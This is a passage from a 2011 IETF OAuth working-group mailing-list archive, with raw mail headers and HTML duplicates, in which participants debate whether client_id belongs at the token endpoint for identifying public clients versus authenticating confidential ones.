It can do so for confidential clients only. What about public clients using e.g. the Resource Owners Password flow? I see the need to identify them as well. For example, if the authz server issues a refresh token to such a client there must be a way to relate this token to a certain client in order to give the user a chance to revoke this specific token.

regards,
Torsten.


Hope this helps.

EHL


From: Brian Campbell <bcampbell@pingidentity.com>
Date: Wed, 27 Jul 2011 04:32:42 -0700
To: Eran Hammer-lahav <eran@hueniverse.com>
Cc: oauth <oauth@ietf.org>
Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identification

Okay, looking at some of those drafts again, I see that now. Except
for -16 they are all pretty similar on client_id back to -10.
Apparently it was my misunderstanding.  Maybe I'm the only one who
doesn't get it but I do think it could be clearer.  I'd propose some
text but I'm still not fully sure I understand what is intended.

If a client doesn't have a secret, is client_id a SHOULD NOT, a MUST
NOT or OPTIONAL to be included on token endpoint requests?

Here's a specific question/example to illustrate my continued
confusion - it would seem like the majority of clients that would use
the Resource Owner Password Credentials grant (although 4.3.2 shows
the use of HTTP Basic) would be "public" clients.  How is it expected
that such clients Identify themselves to the AS?  The client identity,
even if not something that can be strongly relied on, is useful for
things like presenting a list of access grants to the user for
revocation.





On Tue, Jul 26, 2011 at 12:17 PM, Eran Hammer-Lahav <eran@hueniverse.com> wrote:
Not exactly.
The current setup was pretty stable up to –15. In –16 I tried to clean it up
by moving the parameter into each token endpoint type definition. That
didn't work and was more confusing so in –17 I reverted back to the –15
approach.
What makes this stand out in –20 is that all the examples now use HTTP Basic
instead of the parameters (since we decided to make them NOT RECOMMENDED).
So it feels sudden that client_id is gone, but none of this is actually much
different from –15 on. Client authentication is still performed the same
way, and the role of client_id is just as an alternative to using HTTP Basic
on the token endpoint.
I think the current text is sufficient, but if you want to provide specific
additions I'm open to it.
EHL
From: Brian Campbell <bcampbell@pingidentity.com>
Date: Tue, 26 Jul 2011 10:16:21 -0700
To: Eran Hammer-lahav <eran@hueniverse.com>
Cc: oauth <oauth@ietf.org>
Subject: Re: [OAUTH-WG] treatment of client_id for authentication and
identification

I'm probably somewhat biased by having read previous version of the
spec, previous WG list discussions, and my current AS implementation
(which expects client_id) but this seems like a fairly big departure
from what was in -16.  I'm okay with the change but feel it's wroth
mentioning that it's likely an incompatible one.
That aside, I feel like it could use some more explanation in
draft-ietf-oauth-v2 because, at least to me and hence my question, it
wasn't entirely clear how client_id should be used for those cases.
On Mon, Jul 25, 2011 at 4:18 PM, Eran Hammer-Lahav <eran@hueniverse.com>
wrote:

The client_id is currently only defined for password authentication on the
token endpoint. If you are using Basic or any other form of authentication
(or no authentication at all), you are not going to use the client_id
parameter.


 

_______________________________________________
OAuth mailing list
OAuth@ietf.orghttps://www.ietf.org/mailman/listinfo/oauth
--------------070507020305020804040005-- From eran@hueniverse.com Wed Jul 27 11:44:13 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 26D8511E814A for ; Wed, 27 Jul 2011 11:44:13 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.558 X-Spam-Level: X-Spam-Status: No, score=-2.558 tagged_above=-999 required=5 tests=[AWL=0.040, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id tHgt4+Idkd9b for ; Wed, 27 Jul 2011 11:44:11 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id 68F7511E8143 for ; Wed, 27 Jul 2011 11:44:10 -0700 (PDT) Received: (qmail 2540 invoked from network); 27 Jul 2011 18:44:09 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 27 Jul 2011 18:44:07 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Wed, 27 Jul 2011 11:44:05 -0700 From: Eran Hammer-Lahav To: Torsten Lodderstedt Date: Wed, 27 Jul 2011 11:43:57 -0700 Thread-Topic: [OAUTH-WG] treatment of client_id for authentication and identification Thread-Index: AcxMjSkz5VeHZMGjSWOxSGzbNH8uvg== Message-ID: In-Reply-To: <4E3052AA.1020902@lodderstedt.net> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: user-agent: Microsoft-MacOutlook/14.12.0.110505 acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_CA55A84D174B6eranhueniversecom_" MIME-Version: 1.0 Cc: oauth Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identification X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Jul 2011 18:44:13 -0000 --_000_CA55A84D174B6eranhueniversecom_ Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable This is the best way to keep the protocol simple and secure of the main use= cases it explicitly addresses. There is not clean way to introduce the client_id parameter at the token en= dpoint without making it confusing for developers. The problem is how do ex= plain when to perform authentication and when to perform identification and= the different trust levels in each. I have no interest in going down that = road. The current language allows you to do exactly what you want but issuing a s= et of password credentials and supporting the client_id/client_secret param= eters. You should support the client sending an empty client_secret and omi= tting it when no secret is issued. If you want, we can tweak section 2.4.1 to make client_secret optional if t= he secret is the empty string. That will give you exactly what you want wit= hout making the document any more confusing. EHL From: Torsten Lodderstedt > Date: Wed, 27 Jul 2011 11:02:18 -0700 To: Eran Hammer-lahav > Cc: Brian Campbell >, oauth > Subject: Re: [OAUTH-WG] treatment of client_id for authentication and ident= ification There is no need and I don't intend to "pro-forma" issue client secrets jus= t to conform to some text of the spec. I thought we are beyond that point. The obvious approach would be to use the client_id the same way as it is us= ed on the authz endpoint. regards, Torsten. Am 27.07.2011 13:45, schrieb Eran Hammer-Lahav: You just issue them a set of password credentials (which can include an emp= ty or fixed password). There is nothing preventing you from doing that and = once you do, the spec requires them to use those credentials. EHL From: Torsten Lodderstedt > Date: Wed, 27 Jul 2011 10:38:36 -0700 To: Eran Hammer-lahav > Cc: Brian Campbell >, oauth > Subject: Re: [OAUTH-WG] treatment of client_id for authentication and ident= ification Am 27.07.2011 12:08, schrieb Eran Hammer-Lahav: The way I've set it up in =9618 is that the client_id parameter in the auth= orization endpoint is used to identify the client registration record. The = identifier is described in section 2.3. Then in section 2.4.1 the parameter= is "extended" for use with the token endpoint for client authentication wh= en Basic is not available. So the idea is that the only place you should be using client_id is with th= e authorization endpoint to reference the client registration information (= needed to lookup the redirection URI). I have argued in the past that a fut= ure extension to remove the need to register clients should make this param= eter optional but that's outside our current scope. The token endpoint performs client authentication instead of "client identi= fication" using the client identifier as username. It can do so for confidential clients only. What about public clients using= e.g. the Resource Owners Password flow? I see the need to identify them as= well. For example, if the authz server issues a refresh token to such a cl= ient there must be a way to relate this token to a certain client in order = to give the user a chance to revoke this specific token. regards, Torsten. Hope this helps. EHL From: Brian Campbell > Date: Wed, 27 Jul 2011 04:32:42 -0700 To: Eran Hammer-lahav > Cc: oauth > Subject: Re: [OAUTH-WG] treatment of client_id for authentication and ident= ification Okay, looking at some of those drafts again, I see that now. Except for -16 they are all pretty similar on client_id back to -10. Apparently it was my misunderstanding. Maybe I'm the only one who doesn't get it but I do think it could be clearer. I'd propose some text but I'm still not fully sure I understand what is intended. If a client doesn't have a secret, is client_id a SHOULD NOT, a MUST NOT or OPTIONAL to be included on token endpoint requests? Here's a specific question/example to illustrate my continued confusion - it would seem like the majority of clients that would use the Resource Owner Password Credentials grant (although 4.3.2 shows the use of HTTP Basic) would be "public" clients. How is it expected that such clients Identify themselves to the AS? The client identity, even if not something that can be strongly relied on, is useful for things like presenting a list of access grants to the user for revocation. http://tools.ietf.org/html/draft-ietf-oauth-v2-20#section-4.3.2 On Tue, Jul 26, 2011 at 12:17 PM, Eran Hammer-Lahav > wrote: Not exactly. The current setup was pretty stable up to =9615. In =9616 I tried to clean = it up by moving the parameter into each token endpoint type definition. That didn't work and was more confusing so in =9617 I reverted back to the =9615 approach. What makes this stand out in =9620 is that all the examples now use HTTP Ba= sic instead of the parameters (since we decided to make them NOT RECOMMENDED). So it feels sudden that client_id is gone, but none of this is actually muc= h different from =9615 on. Client authentication is still performed the same way, and the role of client_id is just as an alternative to using HTTP Basi= c on the token endpoint. I think the current text is sufficient, but if you want to provide specific additions I'm open to it. EHL From: Brian Campbell > Date: Tue, 26 Jul 2011 10:16:21 -0700 To: Eran Hammer-lahav > Cc: oauth > Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identification I'm probably somewhat biased by having read previous version of the spec, previous WG list discussions, and my current AS implementation (which expects client_id) but this seems like a fairly big departure from what was in -16. I'm okay with the change but feel it's wroth mentioning that it's likely an incompatible one. That aside, I feel like it could use some more explanation in draft-ietf-oauth-v2 because, at least to me and hence my question, it wasn't entirely clear how client_id should be used for those cases. On Mon, Jul 25, 2011 at 4:18 PM, Eran Hammer-Lahav > wrote: The client_id is currently only defined for password authentication on the token endpoint. If you are using Basic or any other form of authentication (or no authentication at all), you are not going to use the client_id parameter. _______________________________________________ OAuth mailing list OAuth@ietf.orghttps://www.ietf.org/mailman/listinfo/= oauth --_000_CA55A84D174B6eranhueniversecom_ Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
This is the best way to keep th= e protocol simple and secure of the main use cases it explicitly addresses.=

There is not clean way to introduce the client_id= parameter at the token endpoint without making it confusing for developers= . The problem is how do explain when to perform authentication and when to = perform identification and the different trust levels in each. I have no in= terest in going down that road.

The current langua= ge allows you to do exactly what you want but issuing a set of password cre= dentials and supporting the client_id/client_secret parameters. You should = support the client sending an empty client_secret and omitting it when no s= ecret is issued.

If you want, we can tweak section= 2.4.1 to make client_secret optional if the secret is the empty string. Th= at will give you exactly what you want without making the document any more= confusing.

EHL

From: Torsten Lodderstedt <torsten@lodderstedt.net>
Date: Wed, 27 Jul 2011 11:02:18 -0700
To: Eran Hammer-lahav <eran@hueniverse.com>
Cc: Brian Campbell <bcampbell@pingidentity.com>, oauth <oauth@ietf.org>
Subject: Re: [OAUTH-WG] treatment of client_id for authenti= cation and identification

=20 =20 =20
There is no need and I don't intend to "pro-forma" issue clie= nt secrets just to conform to some text of the spec. I thought we are beyond that point.

The obvious approach would be to use the client_id the same way as it is used on the authz endpoint.

regards,
Torsten. 

Am 27.07.2011 13:45, schrieb Eran Hammer-Lahav:
=20
You just issue them a set of password credentials (which can include an empty or fixed password). There is nothing preventing you from doing that and once you do, the spec requires them to use those credentials.

EHL

From: Torsten Lodderstedt <torsten@lodderstedt.net>
Date: Wed, 27 Jul 2011 10:38:36 -0700
To: Eran Hammer-lahav <eran@hueniverse.com>
Cc: Brian Campbell <bcampbell@pingidentity.com>, oauth <oauth@ietf.org>
Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identification

Am 27.07.2011 12:08, schrieb Eran Hammer-Lahav:
The way I've set it up in =9618 is that the client_id parameter in the authorization endpoint is used to identify the client registration record. The identifier is described in section 2.3. Then in section 2.4.1 the parameter is "extended" for u= se with the token endpoint for client authentication when Basic is not available.

So the idea is that the only place you should be using client_id is with the authorization endpoint to reference the client registration information (needed to lookup the redirection URI). I have argued in the past that a future extension to remove the need to register clients should make this parameter optional but that's outside our current scope.

The token endpoint performs client authentication instead of "client identification" using the cl= ient identifier as username.

It can do so for confidential clients only. What about public clients using e.g. the Resource Owners Password flow? I see the need to identify them as well. For example, if the authz server issues a refresh token to such a client there must be a way to relate this token to a certain client in order to give the user a chance to revoke this specific token.

regards,
Torsten.


Hope this helps.

EHL


From= : Brian Campbell <bcampbell@pingidentity.com&g= t;
Date: Wed, 27 Jul 2011 04:32:42 -0700
To: Eran Hammer-lahav <eran@hueniverse.com>
Cc: oauth <oauth@ietf.org>
Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identification

Okay, looking at some of those drafts again, I see that now. Except
for -16 they are all pretty similar on client_id back to -10.
Apparently it was my misunderstanding.  Maybe I'm the only o= ne who
doesn't get it but I do think it could be clearer.  I'd propose some
text but I'm still not fully sure I understand what is intended.

If a client doesn't have a secret, is client_id a SHOULD NOT, a MUST
NOT or OPTIONAL to be included on token endpoint requests?

Here's a specific question/example to illustrate my continued
confusion - it would seem like the majority of clients that would use
the Resource Owner Password Credentials grant (although 4.3.2 shows
the use of HTTP Basic) would be "public&q= uot; clients.  How is it expected
that such clients Identify themselves to the AS?  The client identity,
even if not something that can be strongly relied on, is useful for
things like presenting a list of access grants to the user for
revocation.





On Tue, Jul 26, 2011 at 12:17 PM, Eran Hammer-Lahav <eran@hueniverse.com> wrote:
Not exactly.
The current setup was pretty stable up to =9615. In =9616 I tried to clean it up
by moving the parameter into each token endpoint type definition. That
didn't work and was more confusing so in =9617 I reverted back to the =9615
approach.
What makes this stand out in =9620 is that all the examples now use HTTP Basic
instead of the parameters (since we decided to make them NOT RECOMMENDED).
So it feels sudden that client_id is gone, but none of this is actually much
different from =9615 on. Client authentication is still performed the same
way, and the role of client_id is just as an alternative to using HTTP Basic
on the token endpoint.
I think the current text is sufficient, but if you want to provide specific
additions I'm open to it.
EHL
From: Brian Campbell <bcampbell@pingidentity= .com>
Date: Tue, 26 Jul 2011 10:16:21 -0700
=
To: Eran Hammer-lahav <eran@hueniverse.com><= /div>
Cc: oauth <oauth@ietf.org>
Subject: Re: [OAUTH-WG] treatment of client_id for authentication and
identification

I'm probably somewhat biased by having read previous version of the
spec, previous WG list discussions, and my current AS implementation
(which expects client_id) but this seems like a fairly big departure
from what was in -16.  I'm okay w= ith the change but feel it's wroth
mentioning that it's likely an incompatible one.
That aside, I feel like it could use some more explanation in
draft-ietf-oauth-v2 because, at least to me and hence my question, it
wasn't entirely clear how client_id should be used for those cases.
On Mon, Jul 25, 2011 at 4:18 PM, Eran Hammer-Lahav <eran@hueniverse.com>
wrote:

The client_id is currently only defined for password authentication on the
token endpoint. If you are using Basic or any other form of authentication
(or no authentication at all), you are not going to use the client_id
parameter.


 

____________________________________________=
___
OAuth mailing list
OAuth@ietf.org=
https://www.ietf.org/mailman/listinfo/oauth
--_000_CA55A84D174B6eranhueniversecom_-- From bcampbell@pingidentity.com Wed Jul 27 15:18:21 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 05F1321F88B7 for ; Wed, 27 Jul 2011 15:18:21 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -5.956 X-Spam-Level: X-Spam-Status: No, score=-5.956 tagged_above=-999 required=5 tests=[AWL=0.021, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_MED=-4] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id jsoDn-nGCvbu for ; Wed, 27 Jul 2011 15:18:20 -0700 (PDT) Received: from na3sys009aog111.obsmtp.com (na3sys009aog111.obsmtp.com [74.125.149.205]) by ietfa.amsl.com (Postfix) with ESMTP id 3268721F8A4E for ; Wed, 27 Jul 2011 15:18:19 -0700 (PDT) Received: from mail-qw0-f46.google.com ([209.85.216.46]) (using TLSv1) by na3sys009aob111.postini.com ([74.125.148.12]) with SMTP ID DSNKTjCOquVmnvhQOjPa7I4EoZkwl8QLOtA5@postini.com; Wed, 27 Jul 2011 15:18:20 PDT Received: by mail-qw0-f46.google.com with SMTP id 3so1473751qwk.33 for ; Wed, 27 Jul 2011 15:18:18 -0700 (PDT) Received: by 10.224.31.147 with SMTP id y19mr278034qac.243.1311805098153; Wed, 27 Jul 2011 15:18:18 -0700 (PDT) MIME-Version: 1.0 Received: by 10.224.11.68 with HTTP; Wed, 27 Jul 2011 15:17:48 -0700 (PDT) In-Reply-To: References: <4E3052AA.1020902@lodderstedt.net> From: Brian Campbell Date: Wed, 27 Jul 2011 16:17:48 -0600 Message-ID: To: Eran Hammer-Lahav Content-Type: text/plain; charset=ISO-8859-1 Cc: oauth Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identification X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Jul 2011 22:18:21 -0000 I think that would be helpful, thanks. On Wed, Jul 27, 2011 at 12:43 PM, Eran Hammer-Lahav wrote: > > If you want, we can tweak section 2.4.1 to make client_secret optional if > the secret is the empty string. That will give you exactly what you want > without making the document any more confusing. > EHL From torsten@lodderstedt.net Wed Jul 27 15:21:59 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 8F93911E8177 for ; Wed, 27 Jul 2011 15:21:59 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.248 X-Spam-Level: X-Spam-Status: No, score=-2.248 tagged_above=-999 required=5 tests=[AWL=0.000, BAYES_00=-2.599, HELO_EQ_DE=0.35] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id SHNwikvMLhP0 for ; Wed, 27 Jul 2011 15:21:59 -0700 (PDT) Received: from smtprelay05.ispgateway.de (smtprelay05.ispgateway.de [80.67.31.100]) by ietfa.amsl.com (Postfix) with ESMTP id A548311E8097 for ; Wed, 27 Jul 2011 15:21:58 -0700 (PDT) Received: from [70.25.120.2] (helo=[10.255.254.219]) by smtprelay05.ispgateway.de with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.68) (envelope-from ) id 1QmCUF-0000em-Ok; Thu, 28 Jul 2011 00:21:56 +0200 Message-ID: <4E308F5C.9060408@lodderstedt.net> Date: Wed, 27 Jul 2011 18:21:16 -0400 From: Torsten Lodderstedt User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20110624 Thunderbird/5.0 MIME-Version: 1.0 To: Brian Campbell References: <4E3052AA.1020902@lodderstedt.net> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Df-Sender: torsten@lodderstedt-online.de Cc: oauth Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identification X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Jul 2011 22:21:59 -0000 I personally think that would be more confusing than just adding the client_id parameter to the token endpoint request (independent of client authentication credentials). Am 27.07.2011 18:17, schrieb Brian Campbell: > I think that would be helpful, thanks. > > > On Wed, Jul 27, 2011 at 12:43 PM, Eran Hammer-Lahav wrote: >> If you want, we can tweak section 2.4.1 to make client_secret optional if >> the secret is the empty string. That will give you exactly what you want >> without making the document any more confusing. >> EHL From eran@hueniverse.com Wed Jul 27 15:45:28 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id B95EA21F8677 for ; Wed, 27 Jul 2011 15:45:28 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.559 X-Spam-Level: X-Spam-Status: No, score=-2.559 tagged_above=-999 required=5 tests=[AWL=0.039, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id F52NLPbT3u6r for ; Wed, 27 Jul 2011 15:45:28 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id 155D221F863E for ; Wed, 27 Jul 2011 15:45:27 -0700 (PDT) Received: (qmail 8162 invoked from network); 27 Jul 2011 22:45:27 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.19) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 27 Jul 2011 22:45:27 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT001.EX1.SECURESERVER.NET ([72.167.180.19]) with mapi; Wed, 27 Jul 2011 15:45:24 -0700 From: Eran Hammer-Lahav To: Torsten Lodderstedt , Brian Campbell Date: Wed, 27 Jul 2011 15:45:18 -0700 Thread-Topic: [OAUTH-WG] treatment of client_id for authentication and identification Thread-Index: AcxMrt8bIIBw2zknS1ycqSKWZSaIbw== Message-ID: In-Reply-To: <4E308F5C.9060408@lodderstedt.net> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: user-agent: Microsoft-MacOutlook/14.12.0.110505 acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_CA55E10E17514eranhueniversecom_" MIME-Version: 1.0 Cc: oauth Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identification X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Jul 2011 22:45:28 -0000 --_000_CA55E10E17514eranhueniversecom_ Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable There is not clean way of adding it. First where? In each flow of the token endpoint or just in 3.2? Then how is= it defined? Optional? Required for public clients? How does it work alongs= ide authentication? If you use client_password or Basic then it becomes aut= hentication but otherwise identification? What about duplication between Ba= sic and the parameter? It also means adding a new section discussing client= authentication vs identification which is currently implicit. I strongly believe that it is better to have a simple model as the one alre= ady defined in =9620 and let other use case find their way around it instea= d of producing a confusing document that is trying to hard to solve every p= ossible combination. As I said before, we can tweak the definition of client_secret to make it m= ore esthetically pleasing (the server doesn't mind having an empty paramete= r included, just people), but that's as far am I'm (as wg member) willing t= o support, especially at this point. EHL From: Torsten Lodderstedt > Date: Wed, 27 Jul 2011 15:21:16 -0700 To: Brian Campbell > Cc: Eran Hammer-lahav >, oa= uth > Subject: Re: [OAUTH-WG] treatment of client_id for authentication and ident= ification I personally think that would be more confusing than just adding the client_id parameter to the token endpoint request (independent of client authentication credentials). Am 27.07.2011 18:17, schrieb Brian Campbell: I think that would be helpful, thanks. On Wed, Jul 27, 2011 at 12:43 PM, Eran Hammer-Lahav> wrote: If you want, we can tweak section 2.4.1 to make client_secret optional if the secret is the empty string. That will give you exactly what you want without making the document any more confusing. EHL --_000_CA55E10E17514eranhueniversecom_ Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
There is not clean way of addin= g it.

First where? In each flow of the token endpo= int or just in 3.2? Then how is it defined? Optional? Required for public c= lients? How does it work alongside authentication? If you use client_passwo= rd or Basic then it becomes authentication but otherwise identification? Wh= at about duplication between Basic and the parameter? It also means adding = a new section discussing client authentication vs identification which is c= urrently implicit.

I strongly believe that it is b= etter to have a simple model as the one already defined in =9620 and let ot= her use case find their way around it instead of producing a confusing docu= ment that is trying to hard to solve every possible combination.
=
As I said before, we can tweak the definition of client_secr= et to make it more esthetically pleasing (the server doesn't mind having an= empty parameter included, just people), but that's as far am I'm (as wg me= mber) willing to support, especially at this point.

EHL


=
From: Torsten Lodderstedt <torsten@lodderstedt.net>
Date: Wed, 27 Jul 2011 15:21:16 -0700
To: Brian Campbell <bcampbell@pingidentity.com>
Cc: Eran Hammer-lahav <eran@hueniverse.com>, oauth <oauth@ietf.org>
Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identific= ation

I personally think that would be more confusing than = just adding the
client_id parameter to the token endpoint reques= t (independent of client
authentication credentials).
=
Am 27.07.2011 18:17, schrieb Brian Campbell:
I think that would be helpf= ul, thanks.


On Wed, Jul 27, 2011 a= t 12:43 PM, Eran Hammer-Lahav<era= n@hueniverse.com>  wrote:
If you want, we can tweak section 2.4.1 to m= ake client_secret optional if
the secret is the empty string. Th= at will give you exactly what you want
without making the docume= nt any more confusing.
EHL
<= br>
--_000_CA55E10E17514eranhueniversecom_-- From eran@hueniverse.com Wed Jul 27 15:46:52 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 3ECEC21F86D8 for ; Wed, 27 Jul 2011 15:46:52 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.559 X-Spam-Level: X-Spam-Status: No, score=-2.559 tagged_above=-999 required=5 tests=[AWL=0.039, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id XNse2DHojwfx for ; Wed, 27 Jul 2011 15:46:51 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id BBD4321F86D2 for ; Wed, 27 Jul 2011 15:46:51 -0700 (PDT) Received: (qmail 9198 invoked from network); 27 Jul 2011 22:46:51 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.19) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 27 Jul 2011 22:46:51 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT001.EX1.SECURESERVER.NET ([72.167.180.19]) with mapi; Wed, 27 Jul 2011 15:46:42 -0700 From: Eran Hammer-Lahav To: Brian Campbell Date: Wed, 27 Jul 2011 15:46:34 -0700 Thread-Topic: [OAUTH-WG] treatment of client_id for authentication and identification Thread-Index: AcxMrw3mAOFBD7EDRu+ROc+Mfx8X4A== Message-ID: In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: user-agent: Microsoft-MacOutlook/14.12.0.110505 acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_CA55E34B1752Aeranhueniversecom_" MIME-Version: 1.0 Cc: oauth Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identification X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Jul 2011 22:46:52 -0000 --_000_CA55E34B1752Aeranhueniversecom_ Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable I'll take this as =9620 last call comment. From: Brian Campbell > Date: Wed, 27 Jul 2011 15:17:48 -0700 To: Eran Hammer-lahav > Cc: Torsten Lodderstedt >, oauth > Subject: Re: [OAUTH-WG] treatment of client_id for authentication and ident= ification I think that would be helpful, thanks. On Wed, Jul 27, 2011 at 12:43 PM, Eran Hammer-Lahav > wrote: If you want, we can tweak section 2.4.1 to make client_secret optional if the secret is the empty string. That will give you exactly what you want without making the document any more confusing. EHL --_000_CA55E34B1752Aeranhueniversecom_ Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
I'll take this as =9620 last ca= ll comment.

From:= Brian Campbell <b= campbell@pingidentity.com>
Date:= Wed, 27 Jul 2011 15:17:48 -0700
To: Eran Hammer-lahav <= eran@hueniverse.com>
Cc: = Torsten Lodderstedt <torsten= @lodderstedt.net>, oauth <oauth= @ietf.org>
Subject: Re: = [OAUTH-WG] treatment of client_id for authentication and identification
=

I think that would be helpful, thanks.


On Wed, Jul 27, 2011 at 12:43 PM, Eran Hammer-Lahav <eran@hueniverse.com> wrote:

= If you want, we can tweak section 2.4.1 to make client_secret optional if
the secret is the empty string. That will give you exactly what y= ou want
without making the document any more confusing.
EHL

--_000_CA55E34B1752Aeranhueniversecom_-- From torsten@lodderstedt.net Thu Jul 28 07:24:43 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 4E13121F8C25 for ; Thu, 28 Jul 2011 07:24:43 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.118 X-Spam-Level: X-Spam-Status: No, score=-2.118 tagged_above=-999 required=5 tests=[AWL=0.130, BAYES_00=-2.599, HELO_EQ_DE=0.35, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id HW3luSzmJ-9T for ; Thu, 28 Jul 2011 07:24:42 -0700 (PDT) Received: from smtprelay01.ispgateway.de (smtprelay01.ispgateway.de [80.67.31.28]) by ietfa.amsl.com (Postfix) with ESMTP id 1329321F8C1B for ; Thu, 28 Jul 2011 07:24:41 -0700 (PDT) Received: from [130.129.17.214] by smtprelay01.ispgateway.de with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.68) (envelope-from ) id 1QmRVv-00059T-PB; Thu, 28 Jul 2011 16:24:40 +0200 Message-ID: <4E317125.7080006@lodderstedt.net> Date: Thu, 28 